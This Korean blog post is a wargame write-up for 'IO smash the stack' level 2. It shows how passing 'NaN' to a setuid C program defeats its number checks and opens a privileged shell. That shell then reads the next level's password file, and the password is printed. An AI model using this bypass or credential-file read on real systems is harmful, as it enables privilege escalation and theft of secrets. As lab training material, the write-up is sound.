summary: strtod도 NaN(Not a Number)을 지원하는 함수이다.
NaN은 숫자가 아니기 때문에 어떠한 숫자와도 비교하면 거짓이된다.
처음에는 Float은 4바이트고 double은 8바이트라 부동소수점 계산을 통해 값을 비슷하게 맞추는 문제인줄 알앗다.
그러나 코딩해서 돌려본 결과 정확하게 일치하게 마출수는 없엇다.
그래서 고민하던중 strtod의 man페이지 에서 다음과 같은것을 발견한다.
A NAN is "NAN" (disregarding case) optionally followed by '(', a
sequence of characters, followed by ')'. The character string speciâ€
fies in an implementation-dependent way the type of NAN.
무튼 소스를 보면
level2@io:/levels$ cat level02_alt.c
/* submitted by noname */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define answer 3.141593
void main(int argc, char **argv) {
float a = (argc - 2)?: strtod(argv[1], 0);
printf("You provided the number %f which is too ", a);
if(a < answer) //NaN과 숫자를 비교하면 항상 거짓이 된다.
puts("low");
else if(a > answer)
puts("high");
else
execl("/bin/sh", "sh", "-p", NULL);
}
level2@io:/levels$ ./level02_alt NaN
sh-4.2$ cat /home/level3/.pass
Ib3F7i7FqjziuDOBKi
'wargame > IO smash the stack' 카테고리의 다른 글
level4 (0) | 2014.05.27 |
---|---|
level3 (0) | 2014.05.27 |
level2 (0) | 2014.05.12 |
level1을 풀다가 생긴 의문점에 대한 분석 (0) | 2014.05.12 |
level1 (0) | 2014.05.12 |